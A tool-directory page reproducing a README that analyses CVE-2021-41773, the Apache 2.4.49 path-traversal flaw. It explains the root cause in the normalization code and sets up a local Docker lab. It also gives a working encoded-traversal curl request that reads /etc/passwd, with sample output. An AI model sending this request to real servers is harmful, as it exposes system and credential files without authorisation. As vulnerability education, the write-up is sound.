Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-41773 — PoC and analysis of CVE-2021-41773 | Kitploit
Tools/GitHubGitHub/tr3m0x/cve-2021-41773
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

PoC and analysis of CVE-2021-41773

View Repository
383 months agoNot yet reviewed
Share

CVE-2021-41773 PoC — Apache HTTP Server Path Traversal

Overview

CVE-2021-41773 is a path traversal vulnerability affecting Apache HTTP Server 2.4.49.

The vulnerability allows an attacker to access files outside the intended directory under specific configurations, particularly when directories are exposed through Alias, ScriptAlias, or other Alias-like directives.

The vulnerability exists due to an improper handling of URL path normalization and canonicalization. Apache performed security checks on a path representation that could still contain encoded characters, allowing attackers to bypass traversal detection using encoded dot sequences.


Impact

An attacker can craft a malicious URL containing encoded traversal sequences such as:

.%2e

where:

%2e = .

Therefore:

.%2e

becomes:

..

after decoding.

If Apache validates the encoded representation before resolving it to its canonical form, the traversal check can be bypassed.

Successful exploitation can allow an attacker to read arbitrary files from the filesystem.

Example target:

/etc/passwd

Vulnerable Code

The vulnerable logic is located in:

server/util.c

inside:

ap_normalize_path()

Apache 2.4.49 vulnerable code:

if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

Root Cause Analysis

The vulnerable code tries to identify directory traversal patterns:

../

by checking for consecutive dots:

path[l + 1] == '.'

However, an attacker can provide an encoded traversal sequence:

/.%2e/

At the time of the normalization check, Apache processes:

.%2e

instead of:

..

Because:

%2e != .

the traversal detection logic does not recognize the sequence as:

../

The path is then interpreted in its decoded form, allowing the traversal to occur.


Vulnerable Processing Flow

The vulnerable behavior can be represented as:

HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

The security decision is made before the path reaches its final canonical representation.

A safer approach is:

HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

Security checks should always be performed against the final normalized representation.


Lab Setup

Clone the repository

git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

Build the vulnerable Docker image

docker build -t apache-cve-2021-41773 .

Start the vulnerable Apache server

docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

Exploitation

Send a request containing an encoded traversal sequence:

curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

A successful exploitation returns the contents of:

/etc/passwd

Example:

root:x:0:0:root:/root:/bin/bash

Note About HTTP 403 Responses

A 403 Forbidden response does not necessarily mean exploitation failed.

During testing, Apache may successfully normalize:

/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

into:

/etc/passwd

but deny access due to filesystem permissions or Apache authorization rules.

Example:

client denied by server configuration: /etc/passwd

This indicates that the traversal occurred successfully, but access control prevented file disclosure.


Key Takeaway

CVE-2021-41773 is a classic example of a canonicalization vulnerability.

User-controlled input can have multiple representations:

.%2e

and:

..

Although they look different, they represent the same path component.

Security checks must always be performed after decoding and normalization. Validating an encoded or ambiguous representation can lead to security bypasses.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    930
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    554
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    354
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    349
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →